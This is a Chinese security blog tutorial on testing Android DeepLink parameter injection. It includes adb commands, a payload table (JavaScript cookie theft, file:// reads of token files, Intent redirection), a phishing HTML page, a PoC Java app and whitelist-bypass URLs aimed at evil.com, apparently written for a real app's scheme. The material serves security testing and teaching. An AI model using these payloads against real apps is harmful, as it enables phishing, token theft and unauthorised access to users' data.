deeplink参数注入"

admin 2026-10-16 09:34:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

deeplink参数注入

原创

信安路漫漫
信安路漫漫

信安路漫漫

2026年9月24日 07:00
上海

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

DeepLink 漏洞简介

DeepLink(深度链接)是 Android 中通过 URL 唤起 App 特定页面的机制,通常注册在 AndroidManifest.xml 中:

<intent-filter>        <category android:name=\"android.intent.category.DEFAULT\" />    <category android:name=\"android.intent.category.BROWSABLE\" />    <data android:scheme=\"cntaipingfxtp\" /></intent-filter>

未做校验就直接使用(跳转、路由、WebView 加载等),就会形成 DeepLink 漏洞。核心问题是:外部可控输入 → 未校验 → 敏感操作。

该漏洞跟web的任意URL跳转类似,利用方法也都差不多。

常见漏洞类型

类型 说明 危害
参数注入 jump\_scheme 、 routerData  等参数直接使用 任意页面跳转、路由劫持
任意 URL 加载 WebView 加载外部 URL 钓鱼、XSS、窃取 Token
越权访问 通过 DeepLink 打开未授权页面 访问管理员/调试界面
路径遍历 ../  绕过路由白名单 加载内部敏感页面
JavaScript 注入 javascript:  伪协议未过滤 执行任意 JS,窃取 Cookie
File 协议读取 file://  未拦截 读取本地敏感文件
拒绝服务 超长/畸形参数 应用崩溃
Intent 重定向 转发 Intent 到未导出组件 绕过 exported 限制

测试流程

① 信息收集   pm list packages → dumpsys package → aapt dump badging   ↓② 定位入口   找到 scheme + 导出的 SplashActivity + 目标参数名   ↓③ 基础触发   am start -a VIEW -d \"scheme://?param=payload\"   am start -n 包名/.Splash --es param payload   ↓④ 日志观察   logcat | grep Scheme/Router/Crash   ↓⑤ Payload 扩展   URL / XSS / File / 路径遍历 / DoS / Intent 重定向   ↓⑥ 真实场景   恶意 HTML 页面 + 第三方 POC App + onNewIntent   ↓⑦ 白名单绕过(如被拦截)   子域名 / @ / 编码 / 协议变形   ↓⑧ 判定   跳转成功 / 崩溃 / 越权 = 漏洞成立

阶段一:信息收集(确认攻击面)

# 1. 找到包名adb shell pm list packages | grep -i 关键词 # 2. 查看 DeepLink 配置(scheme / host / path)adb shell dumpsys package 包名 | grep -A 10 \"android.intent.action.VIEW\" # 3. 确认导出的 Activityadb shell dumpsys package 包名 | grep -B 2 -A 5 \"exported=true\" # 4. 用 aapt 分析 APK(更准确)aapt dump badging app.apk | grep -E \"package:|launchable-activity|scheme\"aapt dump xmltree app.apk AndroidManifest.xml | grep -A 20 \"intent-filter\"

目标:拿到准确的 scheme、host、path、导出的 Activity 全路径。

阶段二:基础触发测试

测试 1:隐式 Intent(模拟真实攻击)

# 通过 DeepLink 触发,不指定组件adb shell am start -W -a android.intent.action.VIEW -d \"cntaipingfxtp://?jump_scheme=https://evil.com\"

测试 2:显式 Intent(已知 Activity 路径)

adb shell am start -n 包名/.ui.splash.SplashActivity --es jump_scheme \"https://evil.com\"

测试 3:组合注入

adb shell am start -n 包名/.ui.splash.SplashActivity \\  --es jump_scheme \"https://evil.com\" \\  --es routerData \"admin_panel\"

观察:应用是否加载 evil.com / 跳转到异常 Tab / 崩溃。

阶段三:日志监控(判断是否触发)

另开一个窗口:

adb logcat -c && adb logcat | grep -E \"Scheme|Router|RootActivity|Splash|Crash|Exception\"

关键信号:

l日志打印出你注入的 URL / 路由值 → 参数被接收

lActivityNotFoundException / NullPointerException → 参数被使用

lFATAL EXCEPTION → 拒绝服务成立

阶段四:Payload 扩展测试

测试目标 Payload 预期结果
任意 URL 加载 https://evil.com WebView 加载外部页面
XSS javascript:alert(document.cookie) 弹窗 / 执行 JS
本地文件读取 file:///data/data/包名/shared\_prefs/token.xml 读取敏感文件
路径遍历 ../../admin 绕过路由白名单
超长字符串 DoS \"A\"\*10000 应用崩溃
空字节截断 admin%00user 绕过校验
Intent 重定向 intent://...#Intent;component=包名/.内部Activity;end 打开未导出组件

阶段五:真实攻击场景验证

  1. 恶意 HTML 页面(模拟钓鱼)
<!DOCTYPE html><html><body>    点击领取奖励        测试XSS</body></html>

用模拟器浏览器打开此页面,点击链接。

  1. 第三方 POC App(模拟恶意应用)
Intent intent = new Intent();intent.setClassName(\"com.tp.test\", \"com.tp.test.ui.splash.SplashActivity\");intent.putExtra(\"jump_scheme\", \"https://evil.com\");intent.putExtra(\"routerData\", \"admin_panel\");intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);startActivity(intent);
  1. onNewIntent 场景(App 已在后台)
# 先手动启动 App → 按 Home 键挂起# 再执行注入adb shell am start -n 包名/.ui.splash.SplashActivity --es jump_scheme \"https://evil.com\"

阶段六:白名单绕过测试(如果基础 Payload 被拦截)

如果应用校验了域名,尝试:

# 子域名绕过--es jump_scheme \"https://tp.com.evil.com\" # @ 符号绕过--es jump_scheme \"https://[email protected]\" # 反斜杠绕过--es jump_scheme \"https://evil.com\\.tp.com\" # 协议绕过--es jump_scheme \"//evil.com\"--es jump_scheme \"https:evil.com\" # 编码绕过--es jump_scheme \"https://evil.com%00.tp.com\"--es jump_scheme \"https://evil.com%2f..%2ftp.com\"

如下图的一个实例,可以直接打开百度页面

手机直接打开了百度页面


deeplink参数注入" 网络安全文章

deeplink参数注入"

本文系统阐述AndroidDeepLink参数注入漏洞的测试方法,涵盖漏洞原理、常见类型、完整测试流程及白名单绕过技巧。文章提供从信息收集、基础触发到Payload扩展的实战步骤,并给出恶意HTML与POCApp验证方案,对移动安全测试人员具有较强实操参考价值。
让Agent给代码做安全审计,实测security-audit-skill" 网络安全文章

让Agent给代码做安全审计,实测security-audit-skill"

本文实测ClaudeCode配合security-auditskill对开源项目z-cmdb进行源码级安全审计。该skill通过六阶段流程与五条纪律实现可复核的审计账本,区分已确认与待验证项,并明确不替代人工审计与渗透测试。实测发现多项高危边界失败问题,但强调动态验证缺失时需降级处理,报告可信度取决于执行策略与覆盖账本的完整性。
Agent想攻击我的网站?say,NO!" 网络安全文章

Agent想攻击我的网站?say,NO!"

本文介绍利用雷池免费WAF防护AIAgent对网站的自动化攻击。文章指出Agent攻击主要有浏览器模拟和JS分析curl流量重放两种方式,建议配置CC防护与BOT防护,结合人机验证、动态防护、HTML动态加密及JS动态混淆等策略。作者通过ClaudeOpus4.6测试验证,AI在30分钟内无法获取网页数据,证明防护效果显著。文章本质为雷池WAF产品推广软文,但提供了可操作的部署配置建议。
AI智能体身份安全|CrowdStrike实践印证" 网络安全文章

AI智能体身份安全|CrowdStrike实践印证"

文章探讨AI智能体时代传统身份认证的失效问题,并以CrowdStrike发布的AgenticIdentityProvider产品实践印证三大原则:隔离派生、短时存续、零信任管控。核心结论是企业安全防护正从单一自然人防护进入人机双主体防护,智能体身份安全正从观点走向产品。可操作建议是判断身份安全方案是否适合智能体时代,可看三点:能否给智能体独立可溯源身份、能否做到短时最小不常驻权限、能否按实时风险持续动态授权。
评论:0   参与:  0